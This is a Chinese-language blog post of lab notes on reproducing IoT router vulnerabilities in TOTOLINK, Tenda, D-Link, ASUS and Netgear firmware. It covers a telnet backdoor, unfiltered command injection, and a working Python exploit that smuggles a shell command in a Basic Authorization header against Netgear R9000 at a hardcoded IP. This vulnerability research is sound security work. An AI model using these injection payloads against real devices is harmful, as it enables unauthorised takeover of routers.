iot漏洞复现小记

本文最后更新于:2024年1月6日 早上

0x0: 写在所有之前

直接莽漏洞复现了

搞了个iotsec的账号,这边复现的主要是里面iot靶场里的洞

总感觉他TM靶机有大问题,所以笔者这记录的全为本地remake

0x1: 大致的漏洞挖掘流程

笔者希望在这二三十个漏洞复现完后能总结出一个高效率的iot漏洞挖掘流程

但暂时还没什么灵感呜呜呜呜

Timeline

8-10,July:试了几个后门漏洞,先用firmwalker看看有没有敏感文件

10-15,July:挖了totolink T10,熟悉了以mqtt为主题的webserver

17-20,July:totolink A720R,totolink大量存在的未授权认证漏洞,以及以http为主体的webserver,cstecgi.cgi

8-13,August:Tenda AX3,patch binary of httpd来启动webserver,很正常的服务

15-17,August:一系列DLINK设备存在的问题,牵扯到upnp协议,用qemu很麻烦,所以笔者直接用FirmAE进行模拟,且FirmAE的-d模式能拿shell和patch pid调试,对于类似cgi这类存在时间很短的进程,winmt师傅的方法是patch掉一个地方,使程序进入无限循环从而使进程卡住,绝妙的想法!!

0x2: Remake

后门漏洞

这种纯纯就是福利姬(好像有点奇怪,但这么说是一点问题没有)

拿firmwalker一扫发现存在/etc/init0.d/S80telnetd.sh

img

然后就telnet访问一下就好了

抽象的一批

ASUS RT-N10&ASUS RT-N10 D1 授权命令执行漏洞

firmwalker扫完没什么发现

找一下固件中有没有syscmd这种敏感字符串,还真有

img

那用FirmAE模拟一下,试着访问一下这个Main_AdmStatus_Content.asp

img

随便搞

命令执行

Tenda AC15命令执行(goform/setUsbUnload)

TendaAC15老朋友了,先把httpd服务起起来

goform,很眼熟,估计起web服务的是gohead

漏洞描述都说是在setUsbUnload了,在httpd搜一下字符串

img

啊这,没有任何过滤,那就直接搞个POST请求看一下

img

img

DIR818L命令执行 (/etc/script/IPV4_INET.PHP)

捏麻麻滴

审了半天,看了wp才知道是web洞,会不了一点

而且这个网路服务是HNAP1,SOAP协议的,xml语言看起来挺好懂得,就是这个功能API实在是太折磨了

ASUS RT-N10U (ping 过滤不严)

好像Ping命令检测网络联通性的地方挺容易出现RCE的

burp抓个包看看是什么情况

img

?SystemCmd,那就按照特定字符串搜一下,定位到/usr/sbin/httpd,在里面找到了对应的函数

img

sys_script

img

可以看到,用get_cgi接受SystemCmd参数后,虽然有一点过滤。但是反引号**` $()**这些内敛执行绕过并没有过滤掉

将V7拷贝到位于bss段的SystemCmd后,就直接用sys_script直接执行了,所以就是一个很简单的RCE

传了个msf生成的backdoor

img

Netgear R9000(/cgi-bin登录认证时没有对Authorizationg过滤)

登录认证的时候没有对Authorization进行check

漏洞可以直接定位到/usr/sbin/uhttpd中的uh_cgi_auth_check

img

逻辑很简单,接收到Authorization的内容后,把Basic 后的内容base64解密,并把password拼接后执行

本意是想把password的hash值保存到文件中,却因为过滤不严导致rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
import requests
import base64

url = "http://81.68.182.195:56898/cgi-bin"
cmd = base64.b64encode(b"admin:;ls />/www/cmd.txt;")

headers={
"Host": "81.68.182.195:56898",
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
"Connection": "keep-alive",
"Authorization": b"Basic " + cmd,
}
# payload = "ls >/www/ls.txt"
# res = requests.get(url=url,auth=("admin",payload))
# print(res.text)
res = requests.get(url=url,headers=headers,timeout=1)
print(res.text)

img


iot漏洞复现小记
http://example.com/2023/08/05/iot漏洞/
作者
korey0sh1
发布于
2023年8月5日
许可协议